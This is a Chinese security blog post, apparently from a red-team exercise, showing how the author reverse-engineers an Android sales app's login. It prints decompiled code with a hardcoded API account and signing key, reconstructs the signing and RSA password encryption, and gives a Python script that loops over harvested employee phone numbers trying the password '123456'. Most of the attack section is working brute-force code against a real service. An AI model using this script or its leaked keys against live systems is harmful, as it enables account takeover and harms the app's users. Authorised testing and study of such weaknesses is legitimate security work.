记一次APP登录爆破

admin 2022年8月6日15:06:04评论50 views字数 5180阅读17分16秒阅读模式

记一次APP登录爆破


前言

某次攻防演练中,在前期信息收集的时候找到了一款客户销售APP,没有注册接口,通过收集目标APP的内部员工手机号,对其进行口令爆破。



使用工具

安卓12

jadx-gui

抓取登录HTTP请求包

  1. 安装burp证书,并抓取登录请求

POST /loginUser HTTP/1.1Host: api.xxxx.xxxxx.com
apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone=xxxx&sign=72C132B392873B3F4F6C0872E5EC4B5A&enc=M%2F8hR0rN%2B0KwSGZ59%2FGQqWbrUgTAMZW%2FPnv2tiKlMjGmy%2Fmtu7tXSEftEkTLOoczSXH8%3D&timestamp=1658332134014
  1. 分析登录请求包中需要五个参数

    1. apiaccount

    2. sign

    3. enc

    4. phone

    5. timestamp

反编译分析

apiaccount

搜索关键词


记一次APP登录爆破


此关键词为固定值vrpuc-aaf91f835147ce2d01216bd3bd5c3516

phone

手机号


timestamp

  1. 此值为当前的时间戳String.valueOf(System.currentTimeMillis())

记一次APP登录爆破


  1. 改写为python代码

import timetimestamp = str(int(time.time()*1000))

sign

记一次APP登录爆破

记一次APP登录爆破

记一次APP登录爆破

记一次APP登录爆破

记一次APP登录爆破


    public static O d(String str, String str2) {        HashMap hashMap = new HashMap();        hashMap.put("phone", str);        hashMap.put("enc", e(str2));        return c.g.b.f.b.c(f.h(), a(hashMap));    }
private static Map<String, String> a(Map<String, String> map) { HashMap hashMap = new HashMap(); hashMap.put("apiaccount", "vrpuc-aaf91f835147ce2d01216bd3bd5c3516"); hashMap.put("timestamp", String.valueOf(System.currentTimeMillis())); TreeMap treeMap = new TreeMap(); treeMap.putAll(hashMap); if (map != null) { treeMap.putAll(map); } hashMap.put("sign", a((SortedMap<String, String>) treeMap)); if (map != null) { hashMap.putAll(map); } return hashMap; }
private static String a(SortedMap<String, String> sortedMap) { StringBuffer stringBuffer = new StringBuffer(); for (Map.Entry<String, String> entry : sortedMap.entrySet()) { if (!TextUtils.isEmpty(entry.getValue())) { stringBuffer.append(entry.getKey() + "=" + entry.getValue() + "&"); } } stringBuffer.append("key=a0f723c011346j39w049d7bf0356b34b"); return D.d(stringBuffer.toString()).toUpperCase(); } private static byte[] a(byte[] bArr, String str) { if (bArr != null && bArr.length > 0) { try { MessageDigest messageDigest = MessageDigest.getInstance(str); messageDigest.update(bArr); return messageDigest.digest(); } catch (NoSuchAlgorithmException e2) { e2.printStackTrace(); } } return null; }
private static String q(byte[] bArr) { int length; if (bArr != null && (length = bArr.length) > 0) { char[] cArr = new char[length << 1]; int i2 = 0; for (int i3 = 0; i3 < length; i3++) { int i4 = i2 + 1; char[] cArr2 = f10685a; cArr[i2] = cArr2[(bArr[i3] >> 4) & 15]; i2 = i4 + 1; cArr[i4] = cArr2[bArr[i3] & 15]; } return new String(cArr); } return ""; }


sign参数组合


xxxxxxxxxx sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=xxxxxx&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'

enc

`str = phone ` `str2 = password`

记一次APP登录爆破

记一次APP登录爆破

记一次APP登录爆破

记一次APP登录爆破

记一次APP登录爆破

记一次APP登录爆破

记一次APP登录爆破


记一次APP登录爆破

记一次APP登录爆破



大致流程

  1. 输入密码

  2. 密码 + 随机10位salt

    1. "password=" + "密码" + "&salt=" + salt

  3. 使用此函数操作密钥

   private static byte[] b(String str) throws UnsupportedEncodingException {        int i2;        byte b2;        int i3;        byte b3;        int i4;        byte b4;        int i5;        byte b5;        StringBuffer stringBuffer = new StringBuffer();        byte[] bytes = str.getBytes("US-ASCII");        int length = bytes.length;        int i6 = 0;        while (i6 < length) {            while (true) {                i2 = i6 + 1;                b2 = f16023b[bytes[i6]];                if (i2 >= length || b2 != -1) {                    break;                }                i6 = i2;            }            if (b2 == -1) {                break;            }            while (true) {                i3 = i2 + 1;                b3 = f16023b[bytes[i2]];                if (i3 >= length || b3 != -1) {                    break;                }                i2 = i3;            }            if (b3 == -1) {                break;            }            stringBuffer.append((char) ((b2 << 2) | ((b3 & 48) >>> 4)));            while (true) {                i4 = i3 + 1;                byte b6 = bytes[i3];                if (b6 == 61) {                    return stringBuffer.toString().getBytes("iso8859-1");                }                b4 = f16023b[b6];                if (i4 >= length || b4 != -1) {                    break;                }                i3 = i4;            }            if (b4 == -1) {                break;            }            stringBuffer.append((char) (((b3 & 15) << 4) | ((b4 & 60) >>> 2)));            while (true) {                i5 = i4 + 1;                byte b7 = bytes[i4];                if (b7 == 61) {                    return stringBuffer.toString().getBytes("iso8859-1");                }                b5 = f16023b[b7];                if (i5 >= length || b5 != -1) {                    break;                }                i4 = i5;            }            if (b5 == -1) {                break;            }            stringBuffer.append((char) (b5 | ((b4 & 3) << 6)));            i6 = i5;        }        return stringBuffer.toString().getBytes("iso8859-1");    }


  1. RSA加密

      Cipher cipher = Cipher.getInstance("RSA");            cipher.init(1, publicKey);            return cipher.doFinal(bArr);


  1. 使用此函数处理加密后的结果

 public static String a(byte[] bArr) {        StringBuffer stringBuffer = new StringBuffer();        int length = bArr.length;        int i2 = 0;        while (true) {            if (i2 >= length) {                break;            }            int i3 = i2 + 1;            int i4 = bArr[i2] & 255;            if (i3 == length) {                stringBuffer.append(f16022a[i4 >>> 2]);                stringBuffer.append(f16022a[(i4 & 3) << 4]);                stringBuffer.append("==");                break;            }            int i5 = i3 + 1;            int i6 = bArr[i3] & 255;            if (i5 == length) {                stringBuffer.append(f16022a[i4 >>> 2]);                stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);                stringBuffer.append(f16022a[(i6 & 15) << 2]);                stringBuffer.append("=");                break;            }            int i7 = i5 + 1;            int i8 = bArr[i5] & 255;            stringBuffer.append(f16022a[i4 >>> 2]);            stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);            stringBuffer.append(f16022a[((i6 & 15) << 2) | ((i8 & 192) >>> 6)]);            stringBuffer.append(f16022a[i8 & 63]);            i2 = i7;        }        return stringBuffer.toString();    }



编写python脚本

def main(phone,password):    url = "https://xx.com/loginUser"    sign = ""    enc = ""    tmtp = str(int(time.time() * 1000))
salt = "1234567890" # 随机生成的10个数字 enc_ori = "password=" + password + "&salt=" + salt enc = gen_enc(enc_ori)
sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=' + phone+'&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'
sign = gen_sign(sign_ori) print(quote_plus(enc))
data = "apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone="+phone+"&sign=" + sign + "&enc=" + quote_plus(enc) + "&timestamp=" + tmtp
res = requests.post(url=url, data=data) print(res.text)

记一次APP登录爆破


加字典爆破

def main(phone, password):    res = requests.post(url=url, headers=headers, data=data)    print(res.text)

if __name__ == "__main__": with open("phone","r") as f: for i in f.readlines(): main(i.strip(),"123456")


总结

  1. 前期目标APP资产

  2. 收集用户手机号信息

  3. 生成弱口令字典

  4. 对目标进行爆破

往期回顾

01

从代码层理解android的重定向漏洞

02


 邮件钓鱼演练指南

03

记一次失败的打点



记一次APP登录爆破

雷石安全实验室

商务咨询:

0571-87031601

商务邮箱:

[email protected]

联系地址:

浙江省杭州市市民街98号尊宝大厦金尊3301



原文始发于微信公众号(雷石安全实验室):记一次APP登录爆破

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月6日15:06:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次APP登录爆破http://cn-sec.com/archives/1224827.html

发表评论

匿名网友 填写信息